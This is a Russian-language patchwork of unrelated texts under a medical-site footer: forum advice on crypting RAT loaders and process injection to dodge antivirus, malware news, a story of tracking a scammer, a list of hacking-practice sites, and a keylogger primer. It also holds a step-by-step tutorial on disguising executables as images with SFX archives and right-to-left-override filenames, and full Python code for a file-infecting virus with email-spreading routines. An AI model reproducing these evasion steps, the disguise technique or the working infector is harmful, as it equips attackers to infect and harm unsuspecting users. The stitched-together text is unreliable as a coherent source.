Как выглядит ратник вирус

Так как я углубился в данную тему,и со временем понял что люди,которые

приобретают вирусный софт совсем не разбираются в его работе,как он

устроен,как его ловят ав,да и вообще,кроме основных функций,ничего не

понимают,я решил написать данную статью.

Рассказывать что такое вирус я не буду,это знает даже школьник.

Противостояние будет Ботнет VS Антивирус.

Все владельцы ботнетов наверное знают что при создании билда,вы получаете

файл весом 25-100кб.

Соответственно ни один такой файл не выполнит всех заявленных функций ботнета,

так как это обычный лоадер.

Далее уже этот лоадер грузит с сервера нужные файлы и модули,и вы получаете отстук,логи,

скриншоты экранов,и т.д,все что заявленно в ботнете.

Теперь мы берем ваш лоадер и криптуем,получаем чистый файл,и как многие думают

"ура,нам АВ не страшен"Вы заблуждаетесь!

После попадания на ПК жертвы,АВ действительно без проблем пропустит ваш лоадер,но как только

он начнет грузить файлы с сервера,и они будут грязными,АВ их блокнет,и ни одной из заявленных функций

ваш ботнет не выполнит.Итог:Нужно чистить файлы на сервере,ни один криптор это не в силах сделать.

Далее,поведение вируса.Если ваш ботнет попал в лабораторию,и там его привязали по поведению,даже в

чистом виде АВ его может снести,просто за то,что он выполняет действия,которые занесены в базу АВ.

Итог:Софт нужно обновлять,и всегда следить за ним и дорабатывать.

Инженк.Когда создавался мой криптор,он изначально был разработан для инжекта в процесс,но

в итоге отказался работать с большинством продаваемого софта.Пришлось дорабатывать

инжект в себя.Теперь разберем плюсы и минусы.

Когда вирус в чистом виде не инжектится,криптор делает это за него,и в итоге вирус попадает в процесс,

к которому АВ не имеют доступа,и он считается доверительным.Проще говоря,нет "тела",нечего ловить.

Вот небольшой пример,после установки ратник должен лечь сюда


Мы отключаем у него функцию инжекта,инжектим его криптором в процесс и кидаем на комп.


Идем на комп,включаем "показывать скрытые файлы и папки"

Идем в директорию где должен лежать вирус,и.


а его там нет,и ни какой АВ его не убъет,так как он теперь в процессе.

К примеру при прохождении тестов был закриптован и распространет ратник,не имеющий по дефолту инжекта,

стаб прожил более мсяца.

Теперь берем инжект в себя.Мне тут написал один человек,мол я закриптовал твоим криптором,сделал 2к

инсталлов и стаб поймал 8 ген детектов.Как так то. А все очень просто,он криптовал вирус,который

1.Его вирус давно в базах практически всех АВ.

2.Его вирус изначально уже инжектится по дефолту.

3.Даже с такими показателями,он поймал только ген детекты и не засветил свой вирь.

Так что же такой инжект в себя,по простому,инжект в процесс,это сходить в туалет,а в себя,это обосраться

в штаны.Когда вирус инжектится в себя,то он выплевывается не в процесс,откуда его АВ не достанет,а туда,куда

указал разработчик софта.Я провел небольшей эксперемент,закинул человеку с дефендером 2 склееных вируса,один это давно

засранный ратник,имеющий по дефолту детект 32/38,но который не инжектится сам,и второй софт,который

сейчас продается,имеет средний детект 9/38 и инжектится по дефолту.Итог был ожидаем,склеин файл после крипта

успешно стал,ратник успешно его поимел и отстучался,а вот второй софт умер.И напомню,ратник паблик и есть во всех

базах АВ.Вывод думаю ясен,инжект виря по дефолту есть не очень хорошо,ни один криптор его не защитит,если он

был уже спален АВ.Исключение только те вирусы,которые не имеют подгрузку с сервера,либо имеют,но файлы там чистые.

Так вот к чему я это все,прежде чем кричать что вам кто-то плохо закриптовал,

ваш файл наловил после 2к инсталлов 8 ген детектов

(до сих пор смеюсь)Разберитесь на сколько хорош сам ваш вирус.А разработчикам совет,выпустили софт,так следите за ним,обновляйте,дорабатывайте.


кулл хацкер детектед

ناببفغت ولا تتبدل تتبرىت نالى والى واللى تاا.

Здесь взрываться не стоит.


После пассажа : "он начнет грузить файлы с сервера,и они будут грязными" не смог читать. Интересно, у чистых файлов расширение *.clean а у грязных *.infected?



Наличие этих файлов в системе позволяло обмануть малварь, заставив GandCrab считать, что этот компьютер уже был заражен ранее.

Журналисты Bleeping Computer сообщают, что в ответ на это разработчик GandCrab решил объявить исследователям войну. Вирусописатель, скрывающийся под псевдонимом Crabs, вышел на связь с изданием и заявил, что обнаруженный аналитиками AhnLab способ защиты был актуален лишь на протяжении пары часов, после чего была выпущена новая версия шифровальщика. Хуже того, Crabs сообщил, что нашел баг в антивирусе AhnLab v3 Lite и намерен его использовать.

Журналисты Bleeping Computer не собирались придавать это огласке, пока инженеры AhnLab не проверят разработку вирусописателя и, если потребуется, не выпустят патч. Однако в конце прошлой недели эксперт Malwarebytes публично сообщил об обнаружении новых версий GandCrab (4.2.1 и 4.3), в коде которых был замечен тот самый эксплоит для продукции AhnLab (с комментарием «привет AhnLab, счет — 1:1″).


Но один из директоров AhnLab объяснил изданию, что код, интегрированный в GandCrab 4.2.1 и 4.3, выполняется уже после исполнения самой малвари и заражения нормальных файлов. То есть антивирус AhnLab обнаруживает и нейтрализует малварь задолго до того, как та попытается воспользоваться DOS-эксплоитом. В итоге шансы на успешное срабатывание эксплоита крайне малы. При этом разработчики подчеркивают, что Crabs не обнаружил какой-то страшный 0-day баг, и вряд ли его способ позволяет исполнить какой-либо дополнительный пейлоад.


Школьник "отправил в кому" мать ради денег. Преступление и наказание

Вероятно, страница была взломана.

Написал вечером вот такой индивид:


Всё грустно, печально, жалко мать, сынок старается, как может, чтобы помочь. Начал чекать контакты, и первое, что заставило призадуматься, это номер карты, а точнее приписка, означающая принадлежность владельца к пластику - тёска автора сообщения. Ну ладно, может батя был оригинальным и назвал сына в честь себя, но всё же решил прочекать и фото (спасибо поиску по картинкам):


Что-то падазрительна. Да ещё и картинка заюзана не раз такими же любителями наживаться на вымышленном горе своих родственников

Ещё одно похожее фото, которое выдал яндекс:


Ну не клеится история от слова "совсем". И тут на меня нахлынула дикая волна хейта и обиды за такое отродье, которое ради денег уже и мать готов похоронить с ранних лет. Понял, что если ему сейчас не всыпят ремня, то дальше вырастет нечто более ужасное. Надо карать. Матери его я не нашёл, пробиваем инфу по школе: Друзья у господина попрошайки не скрыты, и добрая половина из той же школы, что указана у него на странице + нашёлся и брат в друзьях. Значит, настоящий со своим именем творит беспредел в контакте.


Мамки нет ВК и сына пошёл во все тяжкие, но не тут то было. Идём на официальный сайт его Школы и пишем директору:


Бот обещал дать ответ по мылу. Ждём и предвкушаем в голове порку пездюка, свернувшего не на ту тропу



Обнаружен троян для Android ворующий данные из Facebook Messenger, Skype, Telegram, Twitter.

Аналитики Trustlook Labs обнаружили трояна для Android, который похищает данные из популярных мобильных мессенджеров, включая Facebook Messenger, Skype, Telegram, Twitter и так далее.

Изучение вредоноса показало, что он весьма прост, но при этом и эффективен. Так, после установки вредоносного приложения, троян сначала пытается внести изменения в файл /system/etc/install-recovery.sh. Если операция проходит успешно, это гарантирует малвари устойчивое присутствие в системе и запуск после каждой перезагрузки.

Tencent WeChat;
Weibo;
Voxer Walkie Talkie Messenger;
Telegram Messenger;
Gruveo Magic Call;
Twitter;
Line;
Coco;
BeeTalk;
TalkBox Voice Messenger;
Viber;
Momo;
Facebook Messenger;



22 сайта для практики хакинга и защиты


Навыки в информационной безопасности сейчас пользуются большим спросом. Так как люди стремятся из всего сделать приложение и подключить к интернету даже самые примитивные устройства, спрос будет только расти. Поэтому неудивительно, что сегодня все хотят научиться хакингу.

Однако на множестве форумов можно встретить новичков, которые не знают, с чего начать изучение хакинга или где его попрактиковать. Специально для них мы представляем подборку сайтов, на которых можно приобрести и улучшить навыки хакинга.

Приведённые ниже площадки доступны только на английском языке.

Пользователи CTF365 устанавливают и защищают свои собственные серверы одновременно с атаками на серверы других пользователей. CTF365 подойдёт профессионалам в области безопасности, которые хотят приобрести наступательные навыки, или системным администраторам, заинтересованным в улучшении своих защитных навыков. Если вы новичок в инфосеке, вы можете зарегистрировать бесплатную учетную запись для начинающих и познакомиться с ним с помощью нескольких предварительно настроенных уязвимых серверов.

OverTheWire подойдёт всем желающим изучить теорию информационной безопасности и применить её на практике независимо от своего опыта. Новичкам следует начать с задач уровня Bandit, поскольку они необходимы для дальнейшего решения других задач.

Данная площадка фокусируется на pwn-задачах, подобных CTF, суть которых заключается в поиске, чтении и отправке файлов-флагов, которые есть в каждой задаче. Для доступа к содержимому файлов вы должны использовать навыки программирования, реверс-инжиниринга или эксплуатации уязвимостей, прежде чем сможете отправить решение.

Задачи делятся на 4 уровня сложности: лёгкий — для новичков, средний, сложный и хардкор, где задачи требуют нестандартных подходов для решения.

IO — это варгейм от создателей netgarage.org, сообщества, в котором единомышленники делятся знаниями о безопасности, искусственном интеллекте, VR и многом другом. Было создано 3 версии варгейма: IO, IO64 и IOarm, из них всех IO является наиболее зрелой. Подключайтесь к IO через SSH и можете приниматься за работу.

SmashTheStack состоит из 7 различных варгеймов: Amateria, Apfel (в настоящее время офлайн), Blackbox, Blowfish, CTF (в настоящее время офлайн), Logic и Tux. Каждый варгейм содержит множество задач, начиная от стандартных уязвимостей и заканчивая задачами на реверс-инжиниринг.

Здесь вы можете найти 26 задач для проверки ваших навыков взлома и реверс-инжиниринга. Сайт не обновлялся с конца 2012 года, но имеющиеся задачи по-прежнему являются ценными учебными ресурсами.

Hack This Site — бесплатный сайт c варгеймами для проверки и улучшения ваших навыков хакинга. Нам нём можно найти множество хакерских задач в нескольких категориях, включая базовые задачи, реалистичные задачи, приложения, программирование, фрикинг, JavaScript, форензику, стеганографию и т.д. Также сайт может похвастаться активным сообществом с большим каталогом хакерских статей и форумом для обсуждения вопросов, связанных с безопасностью. Недавно было объявлено, что кодовая база сайта будет пересмотрена, поэтому в ближайшие месяцы можно ожидать большие улучшения.

W3Challs — это обучающая платформа с множеством задач в различных категориях, включая хакинг, варгеймы, форензику, криптографию, стеганографию и программирование. Цель платформы — предоставить реалистичные задачи. В зависимости от сложности решённой задачи вы получаете баллы. Также есть форум, на котором можно обсуждать и решать задачи с другими участниками.

Площадка pwn0 — это VPN, в которой происходит почти всё, что угодно. Сражайтесь против ботов или пользователей и набирайте очки, получая контроль над другими системами.

12.EXPLOIT EXERCISES- exploit-exercises.com

Exploit Exercises предлагает множество виртуальных машин, документацию и задачи, которые пригодятся в изучении повышения привилегий, анализа уязвимостей, разработки эксплойтов, отладки, реверс-инжиниринга и т.д.

13.RINGZER0 TEAM ONLINE CTF- ringzer0team.com

RingZer0 Team Online CTF предлагает более 200 задач, которые позволят вам проверить навыки взлома по нескольким направлениям — от криптографии, анализа вредоносных программ до SQL-инъекции, шеллкодинга и многого другого. После того, как вы нашли решение задачи, вы можете отправить его RingZer0 Team. Если ваше решение будет принято, вы получите RingZer0Gold, которое можно обменять на подсказки во время решения задач.

На Hellbound Hackers можно найти традиционные задачи с эксплойтами и такие форматы задач, которых нет на других ресурсах. Например, патчинг приложений и задачи, ограниченные по времени. В задачах с патчингом вам даётся уязвимый фрагмент кода и вам нужно предложить исправление этой уязвимости.

Try2Hack — один из старейших сайтов по улучшению навыков хакинга, который всё ещё остаётся на плаву. Он предлагает несколько задач, чтобы развлечься. Задачи разнообразны и по мере продвижения становятся всё сложнее.

HackThis!! состоит из 50+ задач разного уровня, за решение каждой из которых вы получаете определённое количество очков в зависимости от уровня сложности. Подобно Hack This Site, у HackThis!! также есть живое сообщество, многочисленные статьи и новости о хакинге, а также форум, на котором вы можете обсудить задачи и вопросы, связанные с безопасностью.

Enigma Group содержит более 300 задач с акцентом на топ-10 эксплойтов OWASP. Сайт имеет почти 48000 активных участников и проводит еженедельные CTF-соревнования, а также еженедельные и ежемесячные конкурсы.

19.GOOGLE GRUYERE- google-gruyere.appspot.com

Google Gruyere показывает, как можно эксплуатировать уязвимости веб-приложений и как от этого защититься. Вы сможете провести реальное тестирование на проникновение и фактически взломать настоящее приложение, используя атаки вроде XSS и XSRF.

Game of Hacks показывает вам набор фрагментов кода в виде викторины с несколькими вариантами выбора, а вы должны определить правильную уязвимость в коде. Этот сайт немного выделяется из этого списка, но тем не менее это хорошая игра для выявления уязвимостей в коде.

Root Me предлагает более 200 задач и более 50 виртуальных сред, позволяющих вам применить на практике свои навыки взлома в различных сценариях. Это определённо один из лучших сайтов в данном списке.

Хотя CTFtime не является хакерским сайтом, как другие в этом списке, это отличный ресурс, чтобы оставаться в курсе CTF-соревнований, происходящих по всему миру. Поэтому, если вы заинтересованы в присоединении к CTF-команде или участии в соревновании, вам стоит сюда заглянуть.

Создаем фото, или любой другой файл с вирусом

В данном случай я выбрал метод картинки. Картинку можно использовать любую, но я в качестве примера взял картинку Кроноса(бога времени) он тут будет выступать главным лицом.

Создаем фото с вирусом метод 1

Дальше будет ваш файл который вы будете маскировать под вирус, ваша картинка, а также будут 2 иконки. И так заходим в папку "Collection_OCX" и находим файл "Resgistrator.OCX" открываем и нажимаем регистрация, подождите пока дело дойдёт до конца. Правда будут несколько ошибок, но на них не обращайте внимания.


Закрываем окно и возвращаемся назад. Далее выделяем наш вирус и вашу картинку под которую вы будете его маскировать, нажимаем правую кнопку


Ставим галочку "создать SFX-arxiv", а метод сжатия выбираем максимальный. В разделе "Дополнительно" на параметры SFX, там мы указываем путь для распаковки наших файлов, там где будет картинка И там где будет вирус, ради примера я указал диск “C”
В разделе "Установка", нам первом делом надо скопировать всё название нашей картинки с расширением, дальше нажимаем ENTER и пишем название нашего вируса.

Во вкладке "Режимы" мы ставим галочку "Скрыть всё", а в раздел "Дополнительно" мы не трогаем, раздел "Обновления" мы выбираем 2 пункт везде, извлечь и обновить файлы, перезаписать файлы.






Теперь отправляемся в раздел "Текст и графика" здесь нам потребуются иконки которые я упомянул в начале.

Пишем названия файла которого вам нужен в Google, например (jpg file icon) и находите подходящий для вас. А также есть сервисы которые за вас всё сделают, конвертируют из jpg в ico или из png в ico, так что проблем вы не найдёте при конвертации файлов в формат иконки. :

После того как вы нашли пустую иконку какого нибудь графического файла, мы возвращаемся в архив и в разделе "Загрузить значок SFX из файла" нажимаем Обзор и выбираем именноего (нашу иконку).


Маскируем расширение Exe

У нас появляется архив вот такого типа: названия папки.ехе, однако иконка выглядит как будто у нас это графический документ.
Теперь мы с вами будем избавляться от расширения EXE. Как же это сделать ? Нам потребуется программа, где нарисована зелёная капелька (открываем её). Откроется реклама, но вы не обращайте внимания на это, выбираем здесь файл что будет криптовать, в этой графе выбираем тот файл под который мы будем его якобы маскировать (jpg), нажимаем "Change Extension" и ожидаем завершение нашей операции.


Появится файл exe.jpg, здесь у обычного человека ломается логика, ведь если мы выбираем левую часть то у нас выделяется правая часть, всё очень просто расширения поменялось местами с основным текстом.

Создаем фото с вирусом метод 2

Теперь давайте перейдём к 2 методу чтоб мы могли понять как расширения EXE стало зеркальным, нам необходимо открыть файл "unicodeinput", но здесь мы ничего не нажимаем, возвращаемся в директорию и зажимаем клавишу SHIFT + нажимаем правый клик мышки, и выбираем раздел "Открыть окно команд", здесь мы пишем следующие команду….

  1. Названия нашего почти скрытого вируса
  2. Пробел
  3. Вставляем названия вируса
  4. Удаляем расширения EXE.
Теперь делаем следующие:
  1. Зажимаем ALT
  2. Нажимаем на "+" который находится в блоке NumLock,. У нас открывается наше окошко которое мы с вами свернули и не обращали внимание.
  3. Здесь мы вписываем команду "202e"
  4. Жмем Send
  5. Могут появиться плюсики, (они нам не нужны) удаляем их.
Теперь смотрите внимательно, если нам необходимо расширение (jpg) то нам необходимо написать его зеркально, то бишь (gpj.exe), и нажимаем ENTER.



Теперь появился файл который мы создали с расширением jpg, его также можно дополнить некоторыми символами чтоб не было слишком подозрительно.

Можете открыть данный файл, данное изображения будет открываться в течение 2-3 секунд, на экране появится ваша картинка, а то что задали в директорию уже будут файлы которые вы указали(ваш вирус).

Вирус автоматически запустится так что не забудьте его закрыть через диспетчер задач.


Создаем фото с вирусом метод 3

Ну а теперь перейдём к 3 методу, и это будет полезно даже тем просто хочет свои файлы от глаз других на самом видном месте. В нашей директории опять зажимаем SHIFT + нажимаем правый клик мышки, и выбираем раздел "Открыть окно команд", и вписываем здесь вот такую интересную команду:

File1– названия вашей картинки, либо если будет музыка ставим.mp3
File2 название вашего файла который хотите скрыть, также можете вместо вируса скрыть другой файл и поменяем расширение,


Появится картинка, оно открывается без лишней погрузки, но если мы нажмём правой кнопки и выберем "Открыть с помощью winrar", то здесь у нас будут наш вирус или файл который вы скрыли.



Хакерский мир можно условно разделить на три группы атакующих:

Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

Зачем ИБ-персоналу эти сомнительные навыки?

Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.

Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

Вторая версия кода:

Еще более умный кейлогер

Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.

Для C# это выглядит так:

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

Бесплатно и полностью не обнаружим

В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?


В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

Новый год — самое время для легких извращений. Хотя для тебя, читающего эту статью практически весной, год уже не новый, да и сама идея изучения вируса, написанного на питоне, может показаться вовсе даже не легким извращением…

Как известно, с помощью питона можно решать множество повседневных, рутинных задач: периодическое резервное копирование файлов, отправка писем по электронной почте, поиск и выполнение различных действий с файлами на жестком диске и прочее. Так как Python является языком программирования высокого уровня, то и вирусы на нем можно писать соответствующие. Зловреды, созданные с помощью ЯВУ, обычно классифицируются как HLLx (High Level Language, x — метод размножения).

Существуют три основных подвида HLLx-вирусов: оверврайтеры (Overwrite) — HLLO, компаньоны (Companion) — HLLC и паразиты (Parasitic) — HLLP.

Первые являются достаточно примитивными программами, которые просто перезаписывают код жертвы своим кодом, вследствие чего оригинальная программа перестает существовать. Такие вирусы очень просты и весьма разрушительны. В результате эпидемии такой заразы пользовательский компьютер практически полностью лишается всего установленного ПО. Ничем иным кроме вандализма это назвать нельзя.

В связи с тем, что как HLLO-, так и HLLC-вирусы слишком примитивны и практически не встречаются в дикой природе, мы займемся разработкой здовреда-паразита. Основной метод, используемый ими для заражения — внедрение в один файл с кодом-жертвой.
Таким образом сохраняется код оригинальной программы, и при этом не появляется никаких лишних следов.

import sys
import os
import shutil
virPath = os.path.split(sys.argv[0]);
names = os.listdir('.');
fvir = open(sys.argv[0], 'rb');
virData = fvir.read(19456);
for name in names:

namePair = os.path.splitext(name);
if namePair[1] == '.exe' and
name != virPath[1]:

os.rename(name, name + 'tmp');
fprog = open(name + 'tmp', 'rb');
progData = fprog.read();
fnew = open(name, ‘wb’);
fnew.write(virData + progData);
fnew.close();
fprog.close();
os.remove(name + 'tmp');
origProgData = fvir.read();
origProg = 'original_' + virPath[1];
forig = open(origProg, 'wb');
forig.write(origProgData);
fvir.close();
forig.close();
os.execl(origProg, ' ');

Первым делом мы подключаем три модуля: sys, os, shutil. Модуль sys дает доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Так, например, мы получаем имя выполняемого скрипта с помощью команды sys.argv[0]. Модуль os дает возможность выполнения команд, зависящих от операционной системы. Например, получить список файлов в директории, произвести над ними некоторые операции и так далее. Наконец, модуль shutil дает возможность копировать и перемещать файл на жестком диске.

После импорта нужных нам модулей мы узнаем имя файла, в котором содержится исходный код вируса. Затем с помощью команды os.listdir('.') получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке экзешником.
Если проверка это подтверждает, то инфицируем найденный файл, просто заменив его собой. Если ты читал внимательно, то заметил, что в условии оператора if присутствует еще вот такая инструкция:

а перед этим выполняется команда

Для чего это нужно, я расскажу в конце статьи, а пока двинемся дальше. Перед оператором if мы считываем в память собственное содержимое. Делается это с помощью команды fvir. read(19456). Число 19456 — это длина вируса (мы ведь должны учесть, что в файле находится не только вирус, но и жертва). Почему эта длина именно такая, я скажу чуть позже. Следующим шагом находим в текущей папке все exe’шники и заражаем их. Для этого, заранее переименовав невинную программку, мы читаем ее код в буфер, затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Далее сохраняем все это хозяйство и удаляем оригинальный файл жертвы с помощью команды os.remove(name+'tmp').

Теперь наступает самый ответственный момент — нам надо запустить оригинальный код, который мы предварительно засунули внутрь зловреда. Для этого просто читаем оставшиеся данные из образа вируса (мы ведь помним, что уже читали 19456 байт и указатель сместился в файле на эту позицию?), а затем сохраняем полученные данные во временный exe, который потом запускаем. Таким образом вирус корректно отработал, и при этом запустил нужную для пребывающего в счастливом неведении пользователя программу.

Конечно, наш зловред получился вовсе не без недостатков. Например, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не совсем удачное решение. Кроме того, у нашего питомца будут возникать проблемы при первом запуске, когда в образе находится только тело виря, а тело жертвы отсутствует. Но все эти проблемы при определенном старании вполне решаемы.

Главное для нас — продемонстрировать принцип работы.

Сетевой червь

Мы сделали классического инфектора, который распространяется путем заражения близлежащих программ. Но ведь есть еще и сетевые черви, которые используют интернет для порабощения мира. Зловреды такого типа не интересуются файловой системой компьютера, им нужен доступ в сеть.

Для распространения черви пользуются дырами в операционной системе и прикладных программах, рассылают себя по электронной почте и так далее. Мы попробуем сделать вирус, который будет использовать именно e-mail’ы.

Для начала давай посмотрим, как с помощью Python отправить письмо. Небольшой примерчик, от которого мы будем отталкиваться в дальнейшем:

import smtplib
from email.mime.text import MIMEText
msg = MIMEText('Message text')
# me == email отправителя
# you == email получателя
msg['Subject'] = 'Test message'
msg['From'] = me
msg['To'] = you
s = smtplib.SMTP('')
s.sendmail(me, [you], msg.as_string())
s.quit()

Здесь мы используем библиотеку smtplib и входящий в нее пакет MIMEText. Код настолько прост, что не требует особых разъяснений. Единственное, на что стоит обратить внимание, так это на авторизацию на SMTP-сервере. Если для отправки сообщения требуется ввести логин и пароль, то придется вызвать еще одну дополнительную функцию. Так как наш вирус является файлом, нам надо приаттачить его к письму. Для этого придется импортировать еще пару дополнительных библиотек и написать немного кода.
Будет это выглядеть примерно так:

import smtplib
import mimetypes
from email import encoders
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
outer = MIMEMultipart()
# me == email отправителя
# you == email получателя
outer['Subject'] = ‘Test message’
outer['From'] = me
outer['To'] = you
ctype, encoding = mimetypes.guess_type(path_to_file)
if ctype is None or encoding is not None:
ctype = 'application/octet-stream'
maintype, subtype = ctype.split(‘/’, 1)
fp = open(path_to_file, ‘rb’)
msg = MIMEBase(maintype, subtype)
msg.set_payload(fp.read())
fp.close()
encoders.encode_base64(msg)
msg.add_header('Content-Disposition',
'attachment', filename=file_name)
outer.attach(msg)
s = smtplib.SMTP('')
s.sendmail(me, [you], outer.as_string())
s.quit()

В импорте у нас появилась библиотека mimetypes, а также модули encoders, MIMEMultipart и MIMEBase. MIMEMultipart позволяет формировать емайл-сообщение из различных видов данных (текст, картинки и прочее). MIMEBase работает с файлами произвольного типа — например, exe. В качестве основы сообщения мы берем переменную типа MIMEMultipart и добавляем к ней объект MIMEBase, в который предварительно считали и декодировали в base64 содержимое нужного нам файла.

Теперь, когда вирус может сам себя отправлять в электронном сообщении, дело осталось за малым — найти, кому отправить e-mail. Тут полет фантазии вирмейкера на питоне ничем не ограничен. Можно, например, поискать адреса на жестком диске, просканировав все имеющиеся на нем файлы. А можно воспользоваться адресной книгой Outlook. Для последнего тебе понадобится пакет Python Win32 Extensions.

Несколько замечаний

В связи с тем, что наши вирусы будут выполняться не как скрипты, а как полноценные win-приложения, в коде встретилась пара непонятных вещей, о которых я обещал рассказать позже. Первая из них — это вызов os.path.split(). Дело в том, что если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). В случае же с exeфайлом результат будет другой — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших злодеяний нам нужно только имя файла, то мы вызываем os.path.split().

Еще одна загадка — это число 19456. Но тут уже легко можно догадаться, что это размер exe, полученного после конвертации скрипта. Ровно столько у меня весил зловред после своего перерождения в бинарный формат.

Заключение

Конечно, написание зловредов на Python — то еще извращение, но при большом желании такие поделки можно отшлифовать до нужной степени работоспособности, поставить на полку и всем показывать. К тому же вирус будет кроссплатформенным, а этим не каждый крутой вирмейкер может похвастаться :).

Читайте также:

Пожалуйста, не занимайтесь самолечением!
При симпотмах заболевания - обратитесь к врачу.

Copyright © Иммунитет и инфекции